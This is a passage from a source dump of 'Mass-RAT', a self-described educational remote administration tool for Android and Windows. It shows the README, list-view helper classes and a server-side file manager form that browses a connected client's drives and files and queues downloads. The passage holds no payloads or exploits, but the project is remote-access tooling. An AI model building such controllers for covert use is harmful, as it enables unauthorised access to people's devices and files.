GlobalSection(SolutionProperties) = preSolution 40 | HideSolutionNode = FALSE 41 | EndGlobalSection 42 | GlobalSection(ExtensibilityGlobals) = postSolution 43 | SolutionGuid = {4E848D08-7CF8-4FCD-9CDF-26812B4A3CA8} 44 | EndGlobalSection 45 | EndGlobal 46 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | # Mass-RAT 4 | Basic Multiplatform (Android phones + Windows PC) Remote Administration Tool. 5 | 6 | This is my first attempt to learn xamarin.android. 7 | The project is experimental and may have errors. 8 | The project is for educational purposes only. -------------------------------------------------------------------------------- /Server/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /Server/Controls/BetterListView.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | using System.Windows.Forms; 4 | 5 | namespace Server.Controls 6 | { 7 | public class BetterListView : ListView 8 | { 9 | private ListViewColumnSorter LvwColumnSorter { get; set; } 10 | public void AddItem(string text) 11 | { 12 | this.Items.Add(new ListViewItem(text)); 13 | } 14 | 15 | public BetterListView() 16 | { 17 | this.View = View.Details; 18 | this.FullRowSelect = true; 19 | this.LvwColumnSorter = new ListViewColumnSorter(); 20 | this.ListViewItemSorter = LvwColumnSorter; 21 | SetStyle(ControlStyles.OptimizedDoubleBuffer | ControlStyles.AllPaintingInWmPaint, true); 22 | } 23 | 24 | protected override void OnHandleCreated(EventArgs e) 25 | { 26 | base.OnHandleCreated(e); 27 | SetWindowTheme(this.Handle, "explorer", null); 28 | } 29 | 30 | //protected override void OnInvalidated(InvalidateEventArgs e) 31 | //{ 32 | // if (this.Columns.Count == 1) 33 | // { 34 | // Columns[0].Width = this.Width - 4; 35 | // } 36 | // base.OnInvalidated(e); 37 | //} 38 | 39 | //protected override void OnColumnWidthChanging(ColumnWidthChangingEventArgs e) 40 | //{ 41 | // if (this.Columns.Count == 1) 42 | // { 43 | // e.Cancel = true; 44 | // e.NewWidth = this.Columns[e.ColumnIndex].Width; 45 | // } 46 | // else 47 | 48 | // base.OnColumnWidthChanging(e); 49 | //} 50 | 51 | protected override void OnColumnClick(ColumnClickEventArgs e) 52 | { 53 | base.OnColumnClick(e); 54 | 55 | if (e.Column == this.LvwColumnSorter.SortColumn) 56 | { 57 | this.LvwColumnSorter.Order = (this.LvwColumnSorter.Order == SortOrder.Ascending) 58 | ? SortOrder.Descending 59 | : SortOrder.Ascending; 60 | } 61 | else 62 | { 63 | this.LvwColumnSorter.SortColumn = e.Column; 64 | this.LvwColumnSorter.Order = SortOrder.Ascending; 65 | } 66 | 67 | if (!this.VirtualMode) 68 | this.Sort(); 69 | } 70 | 71 | [DllImport("uxtheme", CharSet = CharSet.Unicode)] 72 | public static extern int SetWindowTheme(IntPtr hWnd, string textSubAppName, string textSubIdList); 73 | } 74 | } 75 | -------------------------------------------------------------------------------- /Server/Controls/ListViewColumnSorter.cs: -------------------------------------------------------------------------------- 1 | using System.Collections; 2 | using System.Windows.Forms; 3 | 4 | namespace Server.Controls 5 | { 6 | public class ListViewColumnSorter : IComparer 7 | { 8 | /// 9 | /// Specifies the column to be sorted 10 | /// 11 | private int _columnToSort; 12 | 13 | /// 14 | /// Specifies the order in which to sort (i.e. 'Ascending'). 15 | /// 16 | private SortOrder _orderOfSort; 17 | 18 | /// 19 | /// Case insensitive comparer object 20 | /// 21 | private readonly CaseInsensitiveComparer _objectCompare; 22 | 23 | /// 24 | /// Class constructor. Initializes various elements 25 | /// 26 | public ListViewColumnSorter() 27 | { 28 | // Initialize the column to '0' 29 | _columnToSort = 0; 30 | 31 | // Initialize the sort order to 'none' 32 | _orderOfSort = SortOrder.None; 33 | 34 | // Initialize the CaseInsensitiveComparer object 35 | _objectCompare = new CaseInsensitiveComparer(); 36 | } 37 | 38 | /// 39 | /// This method is inherited from the IComparer interface. It compares the two objects passed using a case insensitive comparison. 40 | /// 41 | /// First object to be compared 42 | /// Second object to be compared 43 | /// The result of the comparison. "0" if equal, negative if 'x' is less than 'y' and positive if 'x' is greater than 'y' 44 | public int Compare(object x, object y) 45 | { 46 | // Cast the objects to be compared to ListViewItem objects 47 | var listviewX = (ListViewItem)x; 48 | var listviewY = (ListViewItem)y; 49 | 50 | if (listviewX.SubItems[0].Text == ".." || listviewY.SubItems[0].Text == "..") 51 | return 0; 52 | 53 | // Compare the two items 54 | var compareResult = _objectCompare.Compare(listviewX.SubItems[_columnToSort].Text, 55 | listviewY.SubItems[_columnToSort].Text); 56 | 57 | // Calculate correct return value based on object comparison 58 | if (_orderOfSort == SortOrder.Ascending) 59 | { 60 | // Ascending sort is selected, return normal result of compare operation 61 | return compareResult; 62 | } 63 | else if (_orderOfSort == SortOrder.Descending) 64 | { 65 | // Descending sort is selected, return negative result of compare operation 66 | return (-compareResult); 67 | } 68 | else 69 | { 70 | // Return '0' to indicate they are equal 71 | return 0; 72 | } 73 | } 74 | 75 | /// 76 | /// Gets or sets the number of the column to which to apply the sorting operation (Defaults to '0'). 77 | /// 78 | public int SortColumn 79 | { 80 | set { _columnToSort = value; } 81 | get { return _columnToSort; } 82 | } 83 | 84 | /// 85 | /// Gets or sets the order of sorting to apply (for example, 'Ascending' or 'Descending'). 86 | /// 87 | public SortOrder Order 88 | { 89 | set { _orderOfSort = value; } 90 | get { return _orderOfSort; } 91 | } 92 | } 93 | } 94 | -------------------------------------------------------------------------------- /Server/Forms/FormFileManager.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace Server.Forms 2 | { 3 | partial class FormFileManager 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | this.components = new System.ComponentModel.Container(); 32 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormFileManager)); 33 | System.Windows.Forms.ListViewGroup listViewGroup1 = new System.Windows.Forms.ListViewGroup("Folders", System.Windows.Forms.HorizontalAlignment.Left); 34 | System.Windows.Forms.ListViewGroup listViewGroup2 = new System.Windows.Forms.ListViewGroup("Files", System.Windows.Forms.HorizontalAlignment.Left); 35 | System.Windows.Forms.ListViewGroup listViewGroup3 = new System.Windows.Forms.ListViewGroup("Drivers", System.Windows.Forms.HorizontalAlignment.Left); 36 | this.imageList1 = new System.Windows.Forms.ImageList(this.components); 37 | this.tabControl1 = new System.Windows.Forms.TabControl(); 38 | this.tabPage1 = new System.Windows.Forms.TabPage(); 39 | this.statusStrip2 = new System.Windows.Forms.StatusStrip(); 40 | this.toolStripStatusLabel5 = new System.Windows.Forms.ToolStripStatusLabel(); 41 | this.iconArrowBack = new System.Windows.Forms.ToolStripStatusLabel(); 42 | this.toolStripStatusLabel3 = new System.Windows.Forms.ToolStripStatusLabel(); 43 | this.iconArrowForward = new System.Windows.Forms.ToolStripStatusLabel(); 44 | this.toolStripStatusLabel4 = new System.Windows.Forms.ToolStripStatusLabel(); 45 | this.txtPath = new System.Windows.Forms.ToolStripStatusLabel(); 46 | this.statusStrip1 = new System.Windows.Forms.StatusStrip(); 47 | this.txtError = new System.Windows.Forms.ToolStripStatusLabel(); 48 | this.betterListView1 = new Server.Controls.BetterListView(); 49 | this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 50 | this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 51 | this.columnHeader3 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 52 | this.columnHeader4 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 53 | this.columnHeader5 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 54 | this.columnHeader6 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 55 | this.columnHeader7 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 56 | this.columnHeader8 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 57 | this.tabPage2 = new System.Windows.Forms.TabPage(); 58 | this.betterListView2 = new Server.Controls.BetterListView(); 59 | this.columnHeader9 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 60 | this.columnHeader11 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 61 | this.columnHeader10 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 62 | this.timerDownloadManager = new System.Windows.Forms.Timer(this.components); 63 | this.tabControl1.SuspendLayout(); 64 | this.tabPage1.SuspendLayout(); 65 | this.statusStrip2.SuspendLayout(); 66 | this.statusStrip1.SuspendLayout(); 67 | this.tabPage2.SuspendLayout(); 68 | this.SuspendLayout(); 69 | // 70 | // imageList1 71 | // 72 | this.imageList1.ColorDepth = System.Windows.Forms.ColorDepth.Depth32Bit; 73 | this.imageList1.ImageSize = new System.Drawing.Size(48, 48); 74 | this.imageList1.TransparentColor = System.Drawing.Color.Transparent; 75 | // 76 | // tabControl1 77 | // 78 | this.tabControl1.Controls.Add(this.tabPage1); 79 | this.tabControl1.Controls.Add(this.tabPage2); 80 | this.tabControl1.Dock = System.Windows.Forms.DockStyle.Fill; 81 | this.tabControl1.Location = new System.Drawing.Point(0, 0); 82 | this.tabControl1.Name = "tabControl1"; 83 | this.tabControl1.SelectedIndex = 0; 84 | this.tabControl1.Size = new System.Drawing.Size(1023, 556); 85 | this.tabControl1.TabIndex = 3; 86 | // 87 | // tabPage1 88 | // 89 | this.tabPage1.BackColor = System.Drawing.SystemColors.Control; 90 | this.tabPage1.Controls.Add(this.statusStrip2); 91 | this.tabPage1.Controls.Add(this.statusStrip1); 92 | this.tabPage1.Controls.Add(this.betterListView1); 93 | this.tabPage1.Location = new System.Drawing.Point(4, 29); 94 | this.tabPage1.Name = "tabPage1"; 95 | this.tabPage1.Padding = new System.Windows.Forms.Padding(3); 96 | this.tabPage1.Size = new System.Drawing.Size(1015, 523); 97 | this.tabPage1.TabIndex = 0; 98 | this.tabPage1.Text = "Browser"; 99 | // 100 | // statusStrip2 101 | // 102 | this.statusStrip2.BackColor = System.Drawing.Color.Transparent; 103 | this.statusStrip2.Dock = System.Windows.Forms.DockStyle.Top; 104 | this.statusStrip2.ImageScalingSize = new System.Drawing.Size(24, 24); 105 | this.statusStrip2.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { 106 | this.toolStripStatusLabel5, 107 | this.iconArrowBack, 108 | this.toolStripStatusLabel3, 109 | this.iconArrowForward, 110 | this.toolStripStatusLabel4, 111 | this.txtPath}); 112 | this.statusStrip2.Location = new System.Drawing.Point(3, 3); 113 | this.statusStrip2.Name = "statusStrip2"; 114 | this.statusStrip2.Size = new System.Drawing.Size(1009, 32); 115 | this.statusStrip2.SizingGrip = false; 116 | this.statusStrip2.TabIndex = 5; 117 | this.statusStrip2.Text = "statusStrip2"; 118 | // 119 | // toolStripStatusLabel5 120 | // 121 | this.toolStripStatusLabel5.Name = "toolStripStatusLabel5"; 122 | this.toolStripStatusLabel5.Size = new System.Drawing.Size(17, 25); 123 | this.toolStripStatusLabel5.Text = " "; 124 | // 125 | // iconArrowBack 126 | // 127 | this.iconArrowBack.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Image; 128 | this.iconArrowBack.Image = ((System.Drawing.Image)(resources.GetObject("iconArrowBack.Image"))); 129 | this.iconArrowBack.Name = "iconArrowBack"; 130 | this.iconArrowBack.Size = new System.Drawing.Size(24, 25); 131 | this.iconArrowBack.Text = "toolStripStatusLabel1"; 132 | this.iconArrowBack.Click += new System.EventHandler(this.IconArrowBack_Click); 133 | // 134 | // toolStripStatusLabel3 135 | // 136 | this.toolStripStatusLabel3.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Text; 137 | this.toolStripStatusLabel3.Name = "toolStripStatusLabel3"; 138 | this.toolStripStatusLabel3.Size = new System.Drawing.Size(17, 25); 139 | this.toolStripStatusLabel3.Text = " "; 140 | // 141 | // iconArrowForward 142 | // 143 | this.iconArrowForward.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Image; 144 | this.iconArrowForward.Image = ((System.Drawing.Image)(resources.GetObject("iconArrowForward.Image"))); 145 | this.iconArrowForward.Name = "iconArrowForward"; 146 | this.iconArrowForward.Size = new System.Drawing.Size(24, 25); 147 | this.iconArrowForward.Text = "toolStripStatusLabel2"; 148 | this.iconArrowForward.Click += new System.EventHandler(this.IconArrowForward_Click); 149 | // 150 | // toolStripStatusLabel4 151 | // 152 | this.toolStripStatusLabel4.Name = "toolStripStatusLabel4"; 153 | this.toolStripStatusLabel4.Size = new System.Drawing.Size(27, 25); 154 | this.toolStripStatusLabel4.Text = " "; 155 | // 156 | // txtPath 157 | // 158 | this.txtPath.Font = new System.Drawing.Font("Segoe UI", 8F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); 159 | this.txtPath.Name = "txtPath"; 160 | this.txtPath.Size = new System.Drawing.Size(18, 25); 161 | this.txtPath.Text = ".."; 162 | // 163 | // statusStrip1 164 | // 165 | this.statusStrip1.BackColor = System.Drawing.Color.Transparent; 166 | this.statusStrip1.ImageScalingSize = new System.Drawing.Size(24, 24); 167 | this.statusStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { 168 | this.txtError}); 169 | this.statusStrip1.Location = new System.Drawing.Point(3, 492); 170 | this.statusStrip1.Name = "statusStrip1"; 171 | this.statusStrip1.Size = new System.Drawing.Size(1009, 28); 172 | this.statusStrip1.SizingGrip = false; 173 | this.statusStrip1.TabIndex = 4; 174 | this.statusStrip1.Text = "statusStrip1"; 175 | // 176 | // txtError 177 | // 178 | this.txtError.Font = new System.Drawing.Font("Segoe UI Semibold", 8F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); 179 | this.txtError.ForeColor = System.Drawing.Color.Red; 180 | this.txtError.Name = "txtError"; 181 | this.txtError.Size = new System.Drawing.Size(18, 21); 182 | this.txtError.Text = ".."; 183 | // 184 | // betterListView1 185 | // 186 | this.betterListView1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) 187 | | System.Windows.Forms.AnchorStyles.Left) 188 | | System.Windows.Forms.AnchorStyles.Right))); 189 | this.betterListView1.BackColor = System.Drawing.SystemColors.Control; 190 | this.betterListView1.BorderStyle = System.Windows.Forms.BorderStyle.None; 191 | this.betterListView1.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { 192 | this.columnHeader1, 193 | this.columnHeader2, 194 | this.columnHeader3, 195 | this.columnHeader4, 196 | this.columnHeader5, 197 | this.columnHeader6, 198 | this.columnHeader7, 199 | this.columnHeader8}); 200 | this.betterListView1.Enabled = false; 201 | this.betterListView1.FullRowSelect = true; 202 | listViewGroup1.Header = "Folders"; 203 | listViewGroup1.Name = "Folders"; 204 | listViewGroup2.Header = "Files"; 205 | listViewGroup2.Name = "Files"; 206 | listViewGroup3.Header = "Drivers"; 207 | listViewGroup3.Name = "Drivers"; 208 | this.betterListView1.Groups.AddRange(new System.Windows.Forms.ListViewGroup[] { 209 | listViewGroup1, 210 | listViewGroup2, 211 | listViewGroup3}); 212 | this.betterListView1.HideSelection = false; 213 | this.betterListView1.LargeImageList = this.imageList1; 214 | this.betterListView1.Location = new System.Drawing.Point(3, 38); 215 | this.betterListView1.Name = "betterListView1"; 216 | this.betterListView1.Size = new System.Drawing.Size(1008, 449); 217 | this.betterListView1.SmallImageList = this.imageList1; 218 | this.betterListView1.TabIndex = 3; 219 | this.betterListView1.TileSize = new System.Drawing.Size(300, 100); 220 | this.betterListView1.UseCompatibleStateImageBehavior = false; 221 | this.betterListView1.View = System.Windows.Forms.View.Tile; 222 | this.betterListView1.DoubleClick += new System.EventHandler(this.BetterListView1_DoubleClick); 223 | this.betterListView1.KeyDown += new System.Windows.Forms.KeyEventHandler(this.BetterListView1_KeyDown); 224 | this.betterListView1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.BetterListView1_MouseDown); 225 | // 226 | // tabPage2 227 | // 228 | this.tabPage2.Controls.Add(this.betterListView2); 229 | this.tabPage2.Location = new System.Drawing.Point(4, 29); 230 | this.tabPage2.Name = "tabPage2"; 231 | this.tabPage2.Padding = new System.Windows.Forms.Padding(3); 232 | this.tabPage2.Size = new System.Drawing.Size(1015, 523); 233 | this.tabPage2.TabIndex = 1; 234 | this.tabPage2.Text = "Download Manager"; 235 | this.tabPage2.UseVisualStyleBackColor = true; 236 | // 237 | // betterListView2 238 | // 239 | this.betterListView2.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { 240 | this.columnHeader9, 241 | this.columnHeader11, 242 | this.columnHeader10}); 243 | this.betterListView2.Dock = System.Windows.Forms.DockStyle.Fill; 244 | this.betterListView2.FullRowSelect = true; 245 | this.betterListView2.HideSelection = false; 246 | this.betterListView2.Location = new System.Drawing.Point(3, 3); 247 | this.betterListView2.Name = "betterListView2"; 248 | this.betterListView2.Size = new System.Drawing.Size(1009, 517); 249 | this.betterListView2.TabIndex = 0; 250 | this.betterListView2.UseCompatibleStateImageBehavior = false; 251 | this.betterListView2.View = System.Windows.Forms.View.Details; 252 | this.betterListView2.DoubleClick += new System.EventHandler(this.BetterListView2_DoubleClick); 253 | // 254 | // columnHeader9 255 | // 256 | this.columnHeader9.Text = "Filename"; 257 | this.columnHeader9.Width = 557; 258 | // 259 | // columnHeader11 260 | // 261 | this.columnHeader11.Text = "Type"; 262 | this.columnHeader11.Width = 210; 263 | // 264 | // columnHeader10 265 | // 266 | this.columnHeader10.Text = "Size"; 267 | this.columnHeader10.Width = 140; 268 | // 269 | // timerDownloadManager 270 | // 271 | this.timerDownloadManager.Enabled = true; 272 | this.timerDownloadManager.Interval = 1000; 273 | this.timerDownloadManager.Tick += new System.EventHandler(this.TimerDownloadManager_Tick); 274 | // 275 | // FormFileManager 276 | // 277 | this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); 278 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 279 | this.BackColor = System.Drawing.SystemColors.Control; 280 | this.ClientSize = new System.Drawing.Size(1023, 556); 281 | this.Controls.Add(this.tabControl1); 282 | this.Location = new System.Drawing.Point(0, 1); 283 | this.Name = "FormFileManager"; 284 | this.Text = "FormFileManager "; 285 | this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FormFileManager_FormClosed); 286 | this.Load += new System.EventHandler(this.FormFileManager_Load); 287 | this.tabControl1.ResumeLayout(false); 288 | this.tabPage1.ResumeLayout(false); 289 | this.tabPage1.PerformLayout(); 290 | this.statusStrip2.ResumeLayout(false); 291 | this.statusStrip2.PerformLayout(); 292 | this.statusStrip1.ResumeLayout(false); 293 | this.statusStrip1.PerformLayout(); 294 | this.tabPage2.ResumeLayout(false); 295 | this.ResumeLayout(false); 296 | 297 | } 298 | 299 | #endregion 300 | private System.Windows.Forms.ImageList imageList1; 301 | private System.Windows.Forms.TabControl tabControl1; 302 | private System.Windows.Forms.TabPage tabPage1; 303 | private System.Windows.Forms.StatusStrip statusStrip2; 304 | private System.Windows.Forms.ToolStripStatusLabel iconArrowBack; 305 | private System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel3; 306 | private System.Windows.Forms.ToolStripStatusLabel iconArrowForward; 307 | private System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel4; 308 | private System.Windows.Forms.ToolStripStatusLabel txtPath; 309 | private System.Windows.Forms.StatusStrip statusStrip1; 310 | private System.Windows.Forms.ToolStripStatusLabel txtError; 311 | private Controls.BetterListView betterListView1; 312 | private System.Windows.Forms.ColumnHeader columnHeader1; 313 | private System.Windows.Forms.ColumnHeader columnHeader2; 314 | private System.Windows.Forms.ColumnHeader columnHeader3; 315 | private System.Windows.Forms.ColumnHeader columnHeader4; 316 | private System.Windows.Forms.ColumnHeader columnHeader5; 317 | private System.Windows.Forms.ColumnHeader columnHeader6; 318 | private System.Windows.Forms.ColumnHeader columnHeader7; 319 | private System.Windows.Forms.ColumnHeader columnHeader8; 320 | private System.Windows.Forms.TabPage tabPage2; 321 | private System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel5; 322 | private Controls.BetterListView betterListView2; 323 | private System.Windows.Forms.ColumnHeader columnHeader9; 324 | private System.Windows.Forms.ColumnHeader columnHeader10; 325 | private System.Windows.Forms.ColumnHeader columnHeader11; 326 | private System.Windows.Forms.Timer timerDownloadManager; 327 | } 328 | } -------------------------------------------------------------------------------- /Server/Forms/FormFileManager.cs: -------------------------------------------------------------------------------- 1 | using Server.Networking; 2 | using SharedLibraries.Helper; 3 | using SharedLibraries.Packet.Commands; 4 | using System; 5 | using System.Collections.Generic; 6 | using System.Diagnostics; 7 | using System.Drawing; 8 | using System.IO; 9 | using System.Threading; 10 | using System.Windows.Forms; 11 | 12 | namespace Server.Forms 13 | { 14 | public partial class FormFileManager : Form 15 | { 16 | public SocketClient SocketClient { get; set; } 17 | public FormFileManager() 18 | { 19 | InitializeComponent(); 20 | } 21 | 22 | #region Incoming Commands 23 | 24 | /// 25 | /// to add drivers 26 | /// 27 | public void AddDrivers(PacketFileManager_GetDrivers packet) 28 | { 29 | 30 | #region Drivers 31 | // a new temp listviewitem to add PacketFileManager_DriverPacket fields 32 | List driversList = new List(); 33 | 34 | foreach (PacketFileManager_DriverPacket driver in packet.ListDrivers) 35 | { 36 | ListViewItem item = new ListViewItem 37 | { 38 | Text = driver.Name, 39 | ToolTipText = driver.Name, 40 | Group = betterListView1.Groups["Drivers"], 41 | }; 42 | item.SubItems.AddRange(new string[] { driver.Type, driver.Size }); 43 | driversList.Add(item); 44 | } 45 | #endregion 46 | 47 | this.Invoke((MethodInvoker)delegate 48 | { 49 | betterListView1.BeginUpdate(); 50 | betterListView1.Items.Clear(); 51 | txtError.Text = string.Empty; 52 | txtPath.Text = string.Empty; 53 | betterListView1.Items.AddRange(driversList.ToArray()); 54 | betterListView1.Enabled = true; 55 | betterListView1.Focus(); 56 | betterListView1.EndUpdate(); 57 | }); 58 | } 59 | 60 | /// 61 | /// to add files and folder 62 | /// 63 | public void AddFilesFolders(PacketFileManager_GetPath packet) 64 | { 65 | try 66 | { 67 | if (!string.IsNullOrWhiteSpace(packet.Error)) // check for error 68 | { 69 | this.Invoke((MethodInvoker)delegate 70 | { 71 | txtError.Text = packet.Error; 72 | betterListView1.Enabled = true; 73 | betterListView1.Focus(); 74 | }); 75 | return; 76 | } 77 | // go to ui thread to add items to betterListView1 78 | this.Invoke((MethodInvoker)delegate 79 | { 80 | //BeginUpdate: Prevents the control from drawing until the EndUpdate() method is called. 81 | betterListView1.BeginUpdate(); 82 | betterListView1.Items.Clear(); // clear old items 83 | txtError.Text = string.Empty; // clear error 84 | txtPath.Text = packet.Path; // show the new path 85 | imageList1.Images.Clear(); // clear old icons 86 | // add folder icon 87 | imageList1.Images.Add("0_folder", Image.FromStream(new MemoryStream(Convert.FromBase64String("iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAYAAABXAvmHAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFHGlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNS42LWMxNDUgNzkuMTYzNDk5LCAyMDE4LzA4LzEzLTE2OjQwOjIyICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6cGhvdG9zaG9wPSJodHRwOi8vbnMuYWRvYmUuY29tL3Bob3Rvc2hvcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RFdnQ9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZUV2ZW50IyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ0MgMjAxOSAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDE5LTEyLTEzVDE5OjIyOjU3KzAzOjAwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAxOS0xMi0xM1QxOToyNDowMiswMzowMCIgeG1wOk1ldGFkYXRhRGF0ZT0iMjAxOS0xMi0xM1QxOToyNDowMiswMzowMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHBob3Rvc2hvcDpDb2xvck1vZGU9IjMiIHBob3Rvc2hvcDpJQ0NQcm9maWxlPSJzUkdCIElFQzYxOTY2LTIuMSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDpkNDU0NTliZC05ZWI0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